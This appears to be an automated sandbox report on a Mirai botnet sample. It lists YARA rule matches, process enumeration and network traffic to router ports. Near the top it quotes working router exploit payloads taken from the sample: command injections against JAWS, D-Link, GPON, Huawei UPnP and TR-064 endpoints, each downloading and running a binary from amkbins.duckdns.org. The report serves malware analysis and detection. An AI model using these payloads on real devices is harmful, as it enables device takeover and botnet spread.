Source: fMB6uAXjd0.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: fMB6uAXjd0.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16

Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+amkbins.duckdns.org/bins/ascaris.arm;chmod+777+/tmp/ascaris.arm;sh+/tmp/ascaris.arm HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd /tmp; wget http:/\/amkbins.duckdns.org/bins/ascaris.arm; chmod 777 ascaris.arm; ./ascaris.arm jaws.selfrep;rm -rf ascaris.arm HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://amkbins.duckdns.org/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://amkbins.duckdns.org/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0 (0(,POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: _<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?>SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;<NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://amkbins.duckdns.org/bins/ascaris.mips && chmod 777 /tmp/ascaris.mips && /tmp/ascaris.mips dir.selfrep`</NewNTPServer1><NewNTPServer2>`echo tbox`</NewNTPServer2><NewNTPServer3>`echo tbox`</NewNTPServer3><NewNTPServer4>`echo tbox`</NewNTPServer4><NewNTPServer5>`echo tbox`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: classification engine

Classification label: mal96.troj.linELF@0/0@2/0

Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6228/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/fMB6uAXjd0.elf (PID: 6239)	File opened: /proc/1475/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 43184 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51346
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56284
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59968 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55998
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58804
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58804
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58830
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55490 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41202 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 54768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54768
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40572 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40582 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43026 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41250
Source: unknown	Network traffic detected: HTTP traffic on port 54112 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38356 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44326 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44328 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46386 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46386 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36936 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57460
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
